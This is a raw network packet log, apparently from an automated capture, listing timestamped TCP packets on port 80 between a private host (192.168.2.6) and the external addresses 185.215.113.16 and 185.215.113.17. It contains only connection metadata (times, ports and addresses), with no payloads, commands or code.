Dec 18, 2024 12:00:25.693594933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.693630934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.693725109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.693829060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.694716930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.694797039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.694845915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.695817947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.695863008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.695960999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.695997953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.696893930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.696935892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.696995974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.697030067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.697964907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.698014021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.698071003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.698112011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.699063063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.699110031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.699177980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.699347019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.700186014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.700232029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.700304985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.700520992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.701263905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.701364040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.701381922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.701402903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.702389002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.702436924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.702511072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.702554941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.703434944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.703499079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.703543901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.703588963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.704577923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.704687119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.704729080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.704766989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.705676079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.705749989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.705784082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.705820084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.706794977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.706846952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.706876040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.706923962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.707918882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.707990885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.708005905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.708061934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.708990097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.709052086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.709089994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.709131002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.710026979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.710199118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.710248947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.711128950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.711180925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.711201906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.711216927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.711247921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.711272955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.711358070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.711492062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.711544037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.711720943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.711765051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.711848021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.711889982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.712218046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.712269068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.712304115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.712349892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.712380886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.712424040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.712577105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.712620020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.712657928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.712702036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.713118076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.713169098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.713326931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.713371992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.713406086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.713418961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.713453054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.713481903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.713582993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.713891029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.713989973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.714042902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.714219093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.714340925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.714359045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.714447975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.714454889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.714459896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.714526892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.714848995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.714898109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.714932919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.714973927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.714998007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.715035915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.715504885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.715573072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.715586901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.715631008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.715635061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.715672016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.715826988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.715871096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.715951920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.715989113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.716476917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.716526031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.716562986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.716607094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.716619015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.716681004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.716752052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.716764927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.716794968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.716805935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.717334986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.717437983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.717492104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.717729092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.717751980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.717777014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.717817068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.718080044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.718219995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.718285084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.718858004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.718909025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.718943119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.718955994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.718986034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.719039917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.719058990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.719618082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.719649076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.719676971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.719744921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.719989061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.720045090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.720118046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.720150948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.720164061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.720361948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.720505953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.720557928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.720987082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.721038103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.721051931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.721095085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.721132040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.721143961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.721199036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.721882105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.721927881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.722008944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.722055912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.722090006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.722114086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.722162962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.722203970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.722656965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.722702980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.722769976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.722897053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.723181009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.723233938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.723267078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.723320961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.723402023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.723443985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.723472118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.723514080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.724174976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.724225044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.724244118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.724281073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.724347115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.724389076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.724442005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.724484921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.725022078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.725063086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.725155115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.725352049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.725389957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.725682020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.725711107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.725722075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.725876093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.726429939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.726475000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.726548910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.726593971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.727137089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.727181911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.727279902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.727319956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.727927923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.727982044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.727997065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.728034973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.728765011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.728806973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.728883982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.728918076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.729429960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.729552031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.729594946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.730309010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.730356932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.730449915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.730489016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.730988026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.731029987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.731070042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.731107950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.731708050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.731748104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.731869936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.731913090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.732443094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.732485056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.732553959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.732594013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.733195066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.733259916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.733305931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.733968019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.734010935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.734044075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.734081984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.768969059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.769004107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.769041061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.769041061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.769283056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.769331932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.769479036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.769520044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.770087004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.770143986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.770180941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.770220041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.770863056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.771002054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.771132946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.771183014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.771272898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.771321058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.771821022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.771918058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.771920919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.771965981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.772516012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.772624969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.772666931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.772778034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.773273945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.773329020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.773508072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.773600101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.773633957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.773688078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.774003029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.774121046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.774175882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.774882078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.774962902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.775006056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.775060892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.775878906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.775999069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.776041031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.776082039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.776453972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.776499987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.776540995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.776582003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.777081013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.777122974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.777156115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.777518988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.777693987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.777785063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.777820110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.777853966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.844403028 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.844470024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.844486952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.844556093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.844727039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.844954967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.844989061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.845035076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.845115900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.845160007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.845504999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.845577002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.845587969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.845628977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.845719099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.845768929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.846267939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.846318007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.846605062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.846663952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.846719027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.847043037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.847122908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.847157955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.847198963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.847239971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.847282887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.847924948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.847985983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.848004103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.848083973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.848103046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.848146915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.848741055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.848781109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.848820925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.848859072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.848948002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.848984957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.849651098 CET	80	49913	185.215.113.17	192.168.2.6
